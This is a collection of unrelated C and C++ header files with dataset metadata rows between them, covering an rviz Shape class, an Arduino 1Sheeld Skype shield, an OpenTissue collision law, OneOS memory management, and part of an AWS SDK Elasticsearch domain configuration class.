OGRE_TOOLS_SHAPE_H #define OGRE_TOOLS_SHAPE_H #include "object.h" #include <OgreMaterial.h> #include <OgreVector3.h> #include <OgreSharedPtr.h> namespace Ogre { class SceneManager; class SceneNode; class Any; class Entity; } namespace rviz { /** */ class Shape : public Object { public: enum Type { Cone, Cube, Cylinder, Sphere, Mesh, }; /** * \brief Constructor * * @param scene_manager The scene manager this object is associated with * @param parent_node A scene node to use as the parent of this object. If NULL, uses the root scene * node. */ Shape(Type shape_type, Ogre::SceneManager* scene_manager, Ogre::SceneNode* parent_node = nullptr); ~Shape() override; Type getType() { return type_; } /** * \brief Set the offset for this shape * * The default is no offset, which puts the pivot point directly in the center of the object. * * @param offset Amount to offset the center of the object from the pivot point */ void setOffset(const Ogre::Vector3& offset); void setColor(float r, float g, float b, float a) override; void setColor(const Ogre::ColourValue& c); void setPosition(const Ogre::Vector3& position) override; void setOrientation(const Ogre::Quaternion& orientation) override; void setScale(const Ogre::Vector3& scale) override; const Ogre::Vector3& getPosition() override; const Ogre::Quaternion& getOrientation() override; /** * \brief Get the root scene node (pivot node) for this object * * @return The root scene node of this object */ Ogre::SceneNode* getRootNode() { return scene_node_; } /** * \brief Sets user data on all ogre objects we own */ void setUserData(const Ogre::Any& data) override; Ogre::Entity* getEntity() { return entity_; } Ogre::MaterialPtr getMaterial() { return material_; } static Ogre::Entity* createEntity(const std::string& name, Type shape_type, Ogre::SceneManager* scene_manager); protected: Ogre::SceneNode* scene_node_; Ogre::SceneNode* offset_node_; Ogre::Entity* entity_; Ogre::MaterialPtr material_; std::string material_name_; Type type_; }; } // namespace rviz #endif
28.176471
103
0.716336
[ "mesh", "object", "shape" ]
5cb2c54f458dc6d34bb94f399cfd17ee6d7e1f4d
726
h
C
libraries/OneSheeld/SkypeShield.h
Ygilany/CanSat
351732a975ed6afce2438198d9db01563f8fd71e
[ "Apache-2.0" ]
1
2015-06-07T23:14:12.000Z
2015-06-07T23:14:12.000Z
libraries/OneSheeld/SkypeShield.h
Ygilany/Cansat
351732a975ed6afce2438198d9db01563f8fd71e
[ "Apache-2.0" ]
2
2017-06-10T22:39:09.000Z
2017-06-10T22:39:22.000Z
libraries/OneSheeld/SkypeShield.h
Ygilany/CanSat
351732a975ed6afce2438198d9db01563f8fd71e
[ "Apache-2.0" ]
null
null
null
/* Project: 1Sheeld Library File: SkypeShield.h Version: 1.0 Compiler: Arduino avr-gcc 4.3.2 Author: Integreight Date: 2014.5 */ #ifndef SkypeShield_h #define SkypeShield_h #include "ShieldParent.h" //Output Function ID's #define SKYPE_CALL 0x01 #define SKYPE_VIDEO_CALL 0x02 class SkypeShieldClass : public ShieldParent { public: //Constructor SkypeShieldClass(): ShieldParent(SKYPE_ID){}; //Setters void call(const char *); void call(String ); void videoCall(const char *); void videoCall(String ); private: }; //Extern Object extern SkypeShieldClass Skype; #endif
16.883721
48
0.604683
[ "object" ]
5cb71f8879a51acbc647ffc133caaf02f594bf06
3,719
h
C
OpenTissue/dynamics/mbd/collision_laws/mbd_newton_collision_law_policy.h
ricortiz/OpenTissue
f8c8ebc5137325b77ba90bed897f6be2795bd6fb
[ "Zlib" ]
76
2018-02-20T11:30:52.000Z
2022-03-31T12:45:06.000Z
OpenTissue/dynamics/mbd/collision_laws/mbd_newton_collision_law_policy.h
ricortiz/OpenTissue
f8c8ebc5137325b77ba90bed897f6be2795bd6fb
[ "Zlib" ]
27
2018-11-20T14:32:49.000Z
2021-11-24T15:26:45.000Z
OpenTissue/dynamics/mbd/collision_laws/mbd_newton_collision_law_policy.h
ricortiz/OpenTissue
f8c8ebc5137325b77ba90bed897f6be2795bd6fb
[ "Zlib" ]
24
2018-02-21T01:45:26.000Z
2022-03-07T07:06:49.000Z
#ifndef OPENTISSUE_DYNAMICS_MBD_UTIL_COLLISION_LAWS_MBD_NEWTON_COLLISION_LAW_POLICY_H #define OPENTISSUE_DYNAMICS_MBD_UTIL_COLLISION_LAWS_MBD_NEWTON_COLLISION_LAW_POLICY_H // // OpenTissue, A toolbox for physical based simulation and animation. // Copyright (C) 2007 Department of Computer Science, University of Copenhagen // #include <OpenTissue/configuration.h> #include <OpenTissue/dynamics/mbd/mbd_compute_collision_matrix.h> #include <OpenTissue/dynamics/mbd/mbd_compute_relative_contact_velocity.h> namespace OpenTissue { namespace mbd { namespace collision_laws { /** * Newton's Collision Law. * This collision law, uses the idea of relating the contact normal * velocities before and after collision with a coefficient of restitution. * * It contains no friction, only normal impulses are computed. * * @param contact A pointer to a contact point, where the collision impulse * should be applied. * * @return The collision impulse that should be applied to object B, object A * should be applied by an equal and opposite impulse. */ template<typename contact_type> typename contact_type::vector3_type compute_newton_impulse(contact_type const * contact) { typedef typename contact_type::body_type body_type; typedef typename contact_type::material_type material_type; typedef typename contact_type::real_type real_type; typedef typename contact_type::vector3_type vector3_type; typedef typename body_type::matrix3x3_type matrix3x3_type; typedef typename body_type::value_traits value_traits; //--- u_n_after = u_n_before+ N^T K N j_n //--- u_n_after = - eps u_n_before //--- => //--- - eps u_n_before - u_n_before = N^T K N j_n //--- - (1+eps) u_n_before / N^T K N = j_n material_type * material = contact->m_material; body_type * A = contact->get_body_A(); body_type * B = contact->get_body_B(); real_type e_n = material->normal_restitution(); vector3_type v_a,v_b,w_a,w_b,r_a,r_b; A->get_velocity(v_a); A->get_spin(w_a); r_a = contact->m_rA; B->get_velocity(v_b); B->get_spin(w_b); r_b = contact->m_rB; vector3_type u = mbd::compute_relative_contact_velocity(v_a,w_a,r_a,v_b,w_b,r_b); real_type u_before = u * contact->m_n; if(u_before>=value_traits::zero()) return vector3_type(value_traits::zero(),value_traits::zero(),value_traits::zero()); real_type inv_m_a = A->get_inverse_mass(); real_type inv_m_b = B->get_inverse_mass(); matrix3x3_type invI_a,invI_b; A->get_inverse_inertia_wcs(invI_a); B->get_inverse_inertia_wcs(invI_b); matrix3x3_type K = mbd::compute_collision_matrix(inv_m_a,invI_a,r_a,inv_m_b,invI_b,r_b); vector3_type J = K * contact->m_n; real_type nKn = contact->m_n * J; real_type minus_1_en_u_before = -(1.+e_n)*u_before; J = contact->m_n*(minus_1_en_u_before/nKn); return J; } class NewtonCollisionLawPolicy { public: template<typename contact_type> typename contact_type::vector3_type compute_impulse(contact_type const * contact) const { return compute_newton_impulse(contact); } }; } //End of namespace collision_laws } //End of namespace mbd } //End of namespace OpenTissue // OPENTISSUE_DYNAMICS_MBD_UTIL_COLLISION_LAWS_MBD_NEWTON_COLLISION_LAW_POLICY_H #endif
40.423913
96
0.661468
[ "object" ]
5cb765011dc5a7cb9d0718a121b4d23f0019ec49
7,057
h
C
Projects/CM32M4xxR_LQFP128_STB/Templates/Rtos-OneOS/kernel/include/os_memory.h
fanghuaqi/CMIOT.CM32M4xxR_Library
6bf9965825987ddcf15d59af216104710997ffcb
[ "Apache-2.0" ]
2
2021-10-05T02:34:18.000Z
2022-01-18T15:22:41.000Z
Projects/CM32M4xxR_LQFP128_STB/Templates/Rtos-OneOS/kernel/include/os_memory.h
fanghuaqi/CMIOT.CM32M4xxR_Library
6bf9965825987ddcf15d59af216104710997ffcb
[ "Apache-2.0" ]
null
null
null
Projects/CM32M4xxR_LQFP128_STB/Templates/Rtos-OneOS/kernel/include/os_memory.h
fanghuaqi/CMIOT.CM32M4xxR_Library
6bf9965825987ddcf15d59af216104710997ffcb
[ "Apache-2.0" ]
2
2021-10-05T02:28:50.000Z
2022-03-23T06:39:39.000Z
/** *********************************************************************************************************************** * Copyright (c) 2020, China Mobile Communications Group Co.,Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * * @file os_memory.h * * @brief Header file for memory management interface. * * @revision * Date Author Notes * 2020-03-09 OneOS team First Version *********************************************************************************************************************** */ #ifndef __OS_MEMORY_H__ #define __OS_MEMORY_H__ #include <oneos_config.h> #include <os_types.h> #include <os_object.h> #ifdef __cplusplus extern "C" { #endif #ifdef OS_USING_HEAP #ifndef OS_USING_SEMAPHORE #error "Macro OS_USING_SEMAPHORE must be set." #endif /* Common heap memory interface. */ extern void os_system_heap_init(void *begin_addr, void *end_addr); extern void *os_malloc(os_size_t nbytes); extern void os_free(void *ptr); extern void *os_realloc(void *ptr, os_size_t nbytes); extern void *os_calloc(os_size_t count, os_size_t size); extern void *os_malloc_align(os_size_t size, os_size_t align); extern void os_free_align(void *ptr); #ifdef OS_USING_HOOK extern void os_malloc_set_hook(void (*hook)(void *ptr, os_size_t size)); extern void os_free_set_hook(void (*hook)(void *ptr)); #endif /* end of OS_USING_HOOK */ #ifdef OS_MEM_STATS extern void os_memory_info(os_uint32_t *total, os_uint32_t *used, os_uint32_t *max_used); #ifdef OS_USING_SHELL extern os_err_t sh_list_mem(os_int32_t argc, char **argv); #endif #endif /* end of OS_MEM_STATS */ #endif /* end of OS_USING_HEAP */ #ifdef OS_USING_MEM_HEAP #ifndef OS_USING_SEMAPHORE #error "Macro OS_USING_SEMAPHORE must be set." #endif #include <os_sem.h> /** *********************************************************************************************************************** * @struct os_memheap_item * * @brief Define memory heap item. *********************************************************************************************************************** */ struct os_memheap_item { os_uint32_t magic; /* Magic number for memheap. */ struct os_memheap *pool_ptr; /* The pointer to pool. */ struct os_memheap_item *next; /* Next memheap item. */ struct os_memheap_item *prev; /* Prev memheap item. */ struct os_memheap_item *next_free; /* Next free memheap item. */ struct os_memheap_item *prev_free; /* Prev free memheap item. */ }; /** *********************************************************************************************************************** * @struct os_memheap * * @brief Define memory heap object *********************************************************************************************************************** */ struct os_memheap { os_object_t parent; /* Inherit from os_object. */ void *start_addr; /* Pool start address and size. */ os_uint32_t pool_size; /* Pool size. */ os_uint32_t available_size; /* Available size. */ os_uint32_t max_used_size; /* Maximum allocated size. */ struct os_memheap_item *block_list; /* Used block list. */ struct os_memheap_item *free_list; /* Free block list. */ struct os_memheap_item free_header; /* Free block list header. */ os_sem_t lock; /* Semaphore lock. */ }; /* memheap interface */ extern os_err_t os_memheap_init(struct os_memheap *memheap, const char *name, void *start_addr, os_size_t size); extern os_err_t os_memheap_deinit(struct os_memheap *heap); extern void *os_memheap_alloc(struct os_memheap *heap, os_size_t size); extern void *os_memheap_realloc(struct os_memheap *heap, void *ptr, os_size_t newsize); extern void os_memheap_free(void *ptr); #endif /* end of OS_USING_MEM_HEAP */ #ifdef OS_USING_MEM_POOL #include <os_list.h> #define OS_MEM_WAITING_FOREVER ((os_tick_t)0xFFFFFFFF) #define OS_MEM_WAITING_NO ((os_tick_t)0) #define OS_MEMPOOL_HEAD_SIZE (sizeof(os_uint8_t *) + sizeof(os_uint32_t)) #define OS_MEMPOOL_SIZE(block_count, block_size) ((OS_MEMPOOL_HEAD_SIZE + OS_ALIGN_UP(block_size, OS_ALIGN_SIZE)) * block_count) /** *********************************************************************************************************************** * @struct os_mempool * * @brief Define memory pool object *********************************************************************************************************************** */ struct os_mempool { os_object_t parent; /* Inherit from os_object. */ void *start_address; /* Memory pool start. */ os_size_t size; /* Size of memory pool. */ os_size_t block_size; /* Size of memory blocks. */ os_uint8_t *block_list; /* Memory blocks list. */ os_size_t block_total_count; /* Numbers of memory block. */ os_size_t block_free_count; /* Numbers of free memory block. */ os_list_node_t suspend_task; /* Tasks pended on this resource. */ }; typedef struct os_mempool os_mp_t; /* Memory pool interface. */ extern os_err_t os_mp_init(os_mp_t *mp, const char *name, void *start, os_size_t size, os_size_t block_size); extern os_err_t os_mp_deinit(os_mp_t *mp); extern os_mp_t *os_mp_create(const char *name, os_size_t block_count, os_size_t block_size); extern os_err_t os_mp_destroy(os_mp_t *mp); extern void *os_mp_alloc(os_mp_t *mp, os_tick_t timeout); extern void os_mp_free(void *block); #endif /* OS_USING_MEM_POOL */ #ifdef __cplusplus } #endif #endif /* __OS_MEMORY_H__ */
36.947644
128
0.52331
[ "object" ]
5cbab4207dfade74ecd356922c90a65958f358b3
28,225
h
C
aws-cpp-sdk-es/include/aws/es/model/ElasticsearchDomainConfig.h
truthiswill/aws-sdk-cpp
6e854b6a8bc7945f150c3a11551196bda341962a
[ "Apache-2.0" ]
1
2022-02-10T08:06:54.000Z
2022-02-10T08:06:54.000Z
aws-cpp-sdk-es/include/aws/es/model/ElasticsearchDomainConfig.h
truthiswill/aws-sdk-cpp
6e854b6a8bc7945f150c3a11551196bda341962a
[ "Apache-2.0" ]
1
2021-10-14T16:57:00.000Z
2021-10-18T10:47:24.000Z
aws-cpp-sdk-es/include/aws/es/model/ElasticsearchDomainConfig.h
truthiswill/aws-sdk-cpp
6e854b6a8bc7945f150c3a11551196bda341962a
[ "Apache-2.0" ]
1
2021-11-09T11:58:03.000Z
2021-11-09T11:58:03.000Z
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/es/ElasticsearchService_EXPORTS.h> #include <aws/es/model/ElasticsearchVersionStatus.h> #include <aws/es/model/ElasticsearchClusterConfigStatus.h> #include <aws/es/model/EBSOptionsStatus.h> #include <aws/es/model/AccessPoliciesStatus.h> #include <aws/es/model/SnapshotOptionsStatus.h> #include <aws/es/model/VPCDerivedInfoStatus.h> #include <aws/es/model/CognitoOptionsStatus.h> #include <aws/es/model/EncryptionAtRestOptionsStatus.h> #include <aws/es/model/NodeToNodeEncryptionOptionsStatus.h> #include <aws/es/model/AdvancedOptionsStatus.h> #include <aws/es/model/LogPublishingOptionsStatus.h> #include <aws/es/model/DomainEndpointOptionsStatus.h> #include <aws/es/model/AdvancedSecurityOptionsStatus.h> #include <aws/es/model/AutoTuneOptionsStatus.h> #include <aws/es/model/ChangeProgressDetails.h> #include <utility> namespace Aws { namespace Utils { namespace Json { class JsonValue; class JsonView; } // namespace Json } // namespace Utils namespace ElasticsearchService { namespace Model { /** * <p>The configuration of an Elasticsearch domain.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/es-2015-01-01/ElasticsearchDomainConfig">AWS * API Reference</a></p> */ class AWS_ELASTICSEARCHSERVICE_API ElasticsearchDomainConfig { public: ElasticsearchDomainConfig(); ElasticsearchDomainConfig(Aws::Utils::Json::JsonView jsonValue); ElasticsearchDomainConfig& operator=(Aws::Utils::Json::JsonView jsonValue); Aws::Utils::Json::JsonValue Jsonize() const; /** * <p>String of format X.Y to specify version for the Elasticsearch domain.</p> */ inline const ElasticsearchVersionStatus& GetElasticsearchVersion() const{ return m_elasticsearchVersion; } /** * <p>String of format X.Y to specify version for the Elasticsearch domain.</p> */ inline bool ElasticsearchVersionHasBeenSet() const { return m_elasticsearchVersionHasBeenSet; } /** * <p>String of format X.Y to specify version for the Elasticsearch domain.</p> */ inline void SetElasticsearchVersion(const ElasticsearchVersionStatus& value) { m_elasticsearchVersionHasBeenSet = true; m_elasticsearchVersion = value; } /** * <p>String of format X.Y to specify version for the Elasticsearch domain.</p> */ inline void SetElasticsearchVersion(ElasticsearchVersionStatus&& value) { m_elasticsearchVersionHasBeenSet = true; m_elasticsearchVersion = std::move(value); } /** * <p>String of format X.Y to specify version for the Elasticsearch domain.</p> */ inline ElasticsearchDomainConfig& WithElasticsearchVersion(const ElasticsearchVersionStatus& value) { SetElasticsearchVersion(value); return *this;} /** * <p>String of format X.Y to specify version for the Elasticsearch domain.</p> */ inline ElasticsearchDomainConfig& WithElasticsearchVersion(ElasticsearchVersionStatus&& value) { SetElasticsearchVersion(std::move(value)); return *this;} /** * <p>Specifies the <code>ElasticsearchClusterConfig</code> for the Elasticsearch * domain.</p> */ inline const ElasticsearchClusterConfigStatus& GetElasticsearchClusterConfig() const{ return m_elasticsearchClusterConfig; } /** * <p>Specifies the <code>ElasticsearchClusterConfig</code> for the Elasticsearch * domain.</p> */ inline bool ElasticsearchClusterConfigHasBeenSet() const { return m_elasticsearchClusterConfigHasBeenSet; } /** * <p>Specifies the <code>ElasticsearchClusterConfig</code> for the Elasticsearch * domain.</p> */ inline void SetElasticsearchClusterConfig(const ElasticsearchClusterConfigStatus& value) { m_elasticsearchClusterConfigHasBeenSet = true; m_elasticsearchClusterConfig = value; } /** * <p>Specifies the <code>ElasticsearchClusterConfig</code> for the Elasticsearch * domain.</p> */ inline void SetElasticsearchClusterConfig(ElasticsearchClusterConfigStatus&& value) { m_elasticsearchClusterConfigHasBeenSet = true; m_elasticsearchClusterConfig = std::move(value); } /** * <p>Specifies the <code>ElasticsearchClusterConfig</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithElasticsearchClusterConfig(const ElasticsearchClusterConfigStatus& value) { SetElasticsearchClusterConfig(value); return *this;} /** * <p>Specifies the <code>ElasticsearchClusterConfig</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithElasticsearchClusterConfig(ElasticsearchClusterConfigStatus&& value) { SetElasticsearchClusterConfig(std::move(value)); return *this;} /** * <p>Specifies the <code>EBSOptions</code> for the Elasticsearch domain.</p> */ inline const EBSOptionsStatus& GetEBSOptions() const{ return m_eBSOptions; } /** * <p>Specifies the <code>EBSOptions</code> for the Elasticsearch domain.</p> */ inline bool EBSOptionsHasBeenSet() const { return m_eBSOptionsHasBeenSet; } /** * <p>Specifies the <code>EBSOptions</code> for the Elasticsearch domain.</p> */ inline void SetEBSOptions(const EBSOptionsStatus& value) { m_eBSOptionsHasBeenSet = true; m_eBSOptions = value; } /** * <p>Specifies the <code>EBSOptions</code> for the Elasticsearch domain.</p> */ inline void SetEBSOptions(EBSOptionsStatus&& value) { m_eBSOptionsHasBeenSet = true; m_eBSOptions = std::move(value); } /** * <p>Specifies the <code>EBSOptions</code> for the Elasticsearch domain.</p> */ inline ElasticsearchDomainConfig& WithEBSOptions(const EBSOptionsStatus& value) { SetEBSOptions(value); return *this;} /** * <p>Specifies the <code>EBSOptions</code> for the Elasticsearch domain.</p> */ inline ElasticsearchDomainConfig& WithEBSOptions(EBSOptionsStatus&& value) { SetEBSOptions(std::move(value)); return *this;} /** * <p>IAM access policy as a JSON-formatted string.</p> */ inline const AccessPoliciesStatus& GetAccessPolicies() const{ return m_accessPolicies; } /** * <p>IAM access policy as a JSON-formatted string.</p> */ inline bool AccessPoliciesHasBeenSet() const { return m_accessPoliciesHasBeenSet; } /** * <p>IAM access policy as a JSON-formatted string.</p> */ inline void SetAccessPolicies(const AccessPoliciesStatus& value) { m_accessPoliciesHasBeenSet = true; m_accessPolicies = value; } /** * <p>IAM access policy as a JSON-formatted string.</p> */ inline void SetAccessPolicies(AccessPoliciesStatus&& value) { m_accessPoliciesHasBeenSet = true; m_accessPolicies = std::move(value); } /** * <p>IAM access policy as a JSON-formatted string.</p> */ inline ElasticsearchDomainConfig& WithAccessPolicies(const AccessPoliciesStatus& value) { SetAccessPolicies(value); return *this;} /** * <p>IAM access policy as a JSON-formatted string.</p> */ inline ElasticsearchDomainConfig& WithAccessPolicies(AccessPoliciesStatus&& value) { SetAccessPolicies(std::move(value)); return *this;} /** * <p>Specifies the <code>SnapshotOptions</code> for the Elasticsearch domain.</p> */ inline const SnapshotOptionsStatus& GetSnapshotOptions() const{ return m_snapshotOptions; } /** * <p>Specifies the <code>SnapshotOptions</code> for the Elasticsearch domain.</p> */ inline bool SnapshotOptionsHasBeenSet() const { return m_snapshotOptionsHasBeenSet; } /** * <p>Specifies the <code>SnapshotOptions</code> for the Elasticsearch domain.</p> */ inline void SetSnapshotOptions(const SnapshotOptionsStatus& value) { m_snapshotOptionsHasBeenSet = true; m_snapshotOptions = value; } /** * <p>Specifies the <code>SnapshotOptions</code> for the Elasticsearch domain.</p> */ inline void SetSnapshotOptions(SnapshotOptionsStatus&& value) { m_snapshotOptionsHasBeenSet = true; m_snapshotOptions = std::move(value); } /** * <p>Specifies the <code>SnapshotOptions</code> for the Elasticsearch domain.</p> */ inline ElasticsearchDomainConfig& WithSnapshotOptions(const SnapshotOptionsStatus& value) { SetSnapshotOptions(value); return *this;} /** * <p>Specifies the <code>SnapshotOptions</code> for the Elasticsearch domain.</p> */ inline ElasticsearchDomainConfig& WithSnapshotOptions(SnapshotOptionsStatus&& value) { SetSnapshotOptions(std::move(value)); return *this;} /** * <p>The <code>VPCOptions</code> for the specified domain. For more information, * see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html" * target="_blank">VPC Endpoints for Amazon Elasticsearch Service Domains</a>.</p> */ inline const VPCDerivedInfoStatus& GetVPCOptions() const{ return m_vPCOptions; } /** * <p>The <code>VPCOptions</code> for the specified domain. For more information, * see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html" * target="_blank">VPC Endpoints for Amazon Elasticsearch Service Domains</a>.</p> */ inline bool VPCOptionsHasBeenSet() const { return m_vPCOptionsHasBeenSet; } /** * <p>The <code>VPCOptions</code> for the specified domain. For more information, * see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html" * target="_blank">VPC Endpoints for Amazon Elasticsearch Service Domains</a>.</p> */ inline void SetVPCOptions(const VPCDerivedInfoStatus& value) { m_vPCOptionsHasBeenSet = true; m_vPCOptions = value; } /** * <p>The <code>VPCOptions</code> for the specified domain. For more information, * see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html" * target="_blank">VPC Endpoints for Amazon Elasticsearch Service Domains</a>.</p> */ inline void SetVPCOptions(VPCDerivedInfoStatus&& value) { m_vPCOptionsHasBeenSet = true; m_vPCOptions = std::move(value); } /** * <p>The <code>VPCOptions</code> for the specified domain. For more information, * see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html" * target="_blank">VPC Endpoints for Amazon Elasticsearch Service Domains</a>.</p> */ inline ElasticsearchDomainConfig& WithVPCOptions(const VPCDerivedInfoStatus& value) { SetVPCOptions(value); return *this;} /** * <p>The <code>VPCOptions</code> for the specified domain. For more information, * see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html" * target="_blank">VPC Endpoints for Amazon Elasticsearch Service Domains</a>.</p> */ inline ElasticsearchDomainConfig& WithVPCOptions(VPCDerivedInfoStatus&& value) { SetVPCOptions(std::move(value)); return *this;} /** * <p>The <code>CognitoOptions</code> for the specified domain. For more * information, see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-cognito-auth.html" * target="_blank">Amazon Cognito Authentication for Kibana</a>.</p> */ inline const CognitoOptionsStatus& GetCognitoOptions() const{ return m_cognitoOptions; } /** * <p>The <code>CognitoOptions</code> for the specified domain. For more * information, see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-cognito-auth.html" * target="_blank">Amazon Cognito Authentication for Kibana</a>.</p> */ inline bool CognitoOptionsHasBeenSet() const { return m_cognitoOptionsHasBeenSet; } /** * <p>The <code>CognitoOptions</code> for the specified domain. For more * information, see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-cognito-auth.html" * target="_blank">Amazon Cognito Authentication for Kibana</a>.</p> */ inline void SetCognitoOptions(const CognitoOptionsStatus& value) { m_cognitoOptionsHasBeenSet = true; m_cognitoOptions = value; } /** * <p>The <code>CognitoOptions</code> for the specified domain. For more * information, see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-cognito-auth.html" * target="_blank">Amazon Cognito Authentication for Kibana</a>.</p> */ inline void SetCognitoOptions(CognitoOptionsStatus&& value) { m_cognitoOptionsHasBeenSet = true; m_cognitoOptions = std::move(value); } /** * <p>The <code>CognitoOptions</code> for the specified domain. For more * information, see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-cognito-auth.html" * target="_blank">Amazon Cognito Authentication for Kibana</a>.</p> */ inline ElasticsearchDomainConfig& WithCognitoOptions(const CognitoOptionsStatus& value) { SetCognitoOptions(value); return *this;} /** * <p>The <code>CognitoOptions</code> for the specified domain. For more * information, see <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-cognito-auth.html" * target="_blank">Amazon Cognito Authentication for Kibana</a>.</p> */ inline ElasticsearchDomainConfig& WithCognitoOptions(CognitoOptionsStatus&& value) { SetCognitoOptions(std::move(value)); return *this;} /** * <p>Specifies the <code>EncryptionAtRestOptions</code> for the Elasticsearch * domain.</p> */ inline const EncryptionAtRestOptionsStatus& GetEncryptionAtRestOptions() const{ return m_encryptionAtRestOptions; } /** * <p>Specifies the <code>EncryptionAtRestOptions</code> for the Elasticsearch * domain.</p> */ inline bool EncryptionAtRestOptionsHasBeenSet() const { return m_encryptionAtRestOptionsHasBeenSet; } /** * <p>Specifies the <code>EncryptionAtRestOptions</code> for the Elasticsearch * domain.</p> */ inline void SetEncryptionAtRestOptions(const EncryptionAtRestOptionsStatus& value) { m_encryptionAtRestOptionsHasBeenSet = true; m_encryptionAtRestOptions = value; } /** * <p>Specifies the <code>EncryptionAtRestOptions</code> for the Elasticsearch * domain.</p> */ inline void SetEncryptionAtRestOptions(EncryptionAtRestOptionsStatus&& value) { m_encryptionAtRestOptionsHasBeenSet = true; m_encryptionAtRestOptions = std::move(value); } /** * <p>Specifies the <code>EncryptionAtRestOptions</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithEncryptionAtRestOptions(const EncryptionAtRestOptionsStatus& value) { SetEncryptionAtRestOptions(value); return *this;} /** * <p>Specifies the <code>EncryptionAtRestOptions</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithEncryptionAtRestOptions(EncryptionAtRestOptionsStatus&& value) { SetEncryptionAtRestOptions(std::move(value)); return *this;} /** * <p>Specifies the <code>NodeToNodeEncryptionOptions</code> for the Elasticsearch * domain.</p> */ inline const NodeToNodeEncryptionOptionsStatus& GetNodeToNodeEncryptionOptions() const{ return m_nodeToNodeEncryptionOptions; } /** * <p>Specifies the <code>NodeToNodeEncryptionOptions</code> for the Elasticsearch * domain.</p> */ inline bool NodeToNodeEncryptionOptionsHasBeenSet() const { return m_nodeToNodeEncryptionOptionsHasBeenSet; } /** * <p>Specifies the <code>NodeToNodeEncryptionOptions</code> for the Elasticsearch * domain.</p> */ inline void SetNodeToNodeEncryptionOptions(const NodeToNodeEncryptionOptionsStatus& value) { m_nodeToNodeEncryptionOptionsHasBeenSet = true; m_nodeToNodeEncryptionOptions = value; } /** * <p>Specifies the <code>NodeToNodeEncryptionOptions</code> for the Elasticsearch * domain.</p> */ inline void SetNodeToNodeEncryptionOptions(NodeToNodeEncryptionOptionsStatus&& value) { m_nodeToNodeEncryptionOptionsHasBeenSet = true; m_nodeToNodeEncryptionOptions = std::move(value); } /** * <p>Specifies the <code>NodeToNodeEncryptionOptions</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithNodeToNodeEncryptionOptions(const NodeToNodeEncryptionOptionsStatus& value) { SetNodeToNodeEncryptionOptions(value); return *this;} /** * <p>Specifies the <code>NodeToNodeEncryptionOptions</code> for the Elasticsearch * domain.</p> */ inline ElasticsearchDomainConfig& WithNodeToNodeEncryptionOptions(NodeToNodeEncryptionOptionsStatus&& value) { SetNodeToNodeEncryptionOptions(std::move(value)); return *this;} /** * <p>Specifies the <code>AdvancedOptions</code> for the domain. See <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-advanced-options" * target="_blank">Configuring Advanced Options</a> for more information.</p> */ inline const AdvancedOptionsStatus& GetAdvancedOptions() const{ return m_advancedOptions; } /** * <p>Specifies the <code>AdvancedOptions</code> for the domain. See <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-advanced-options" * target="_blank">Configuring Advanced Options</a> for more information.</p> */ inline bool AdvancedOptionsHasBeenSet() const { return m_advancedOptionsHasBeenSet; } /** * <p>Specifies the <code>AdvancedOptions</code> for the domain. See <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-advanced-options" * target="_blank">Configuring Advanced Options</a> for more information.</p> */ inline void SetAdvancedOptions(const AdvancedOptionsStatus& value) { m_advancedOptionsHasBeenSet = true; m_advancedOptions = value; } /** * <p>Specifies the <code>AdvancedOptions</code> for the domain. See <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-advanced-options" * target="_blank">Configuring Advanced Options</a> for more information.</p> */ inline void SetAdvancedOptions(AdvancedOptionsStatus&& value) { m_advancedOptionsHasBeenSet = true; m_advancedOptions = std::move(value); } /** * <p>Specifies the <code>AdvancedOptions</code> for the domain. See <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-advanced-options" * target="_blank">Configuring Advanced Options</a> for more information.</p> */ inline ElasticsearchDomainConfig& WithAdvancedOptions(const AdvancedOptionsStatus& value) { SetAdvancedOptions(value); return *this;} /** * <p>Specifies the <code>AdvancedOptions</code> for the domain. See <a * href="http://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-advanced-options" * target="_blank">Configuring Advanced Options</a> for more information.</p> */ inline ElasticsearchDomainConfig& WithAdvancedOptions(AdvancedOptionsStatus&& value) { SetAdvancedOptions(std::move(value)); return *this;} /** * <p>Log publishing options for the given domain.</p> */ inline const LogPublishingOptionsStatus& GetLogPublishingOptions() const{ return m_logPublishingOptions; } /** * <p>Log publishing options for the given domain.</p> */ inline bool LogPublishingOptionsHasBeenSet() const { return 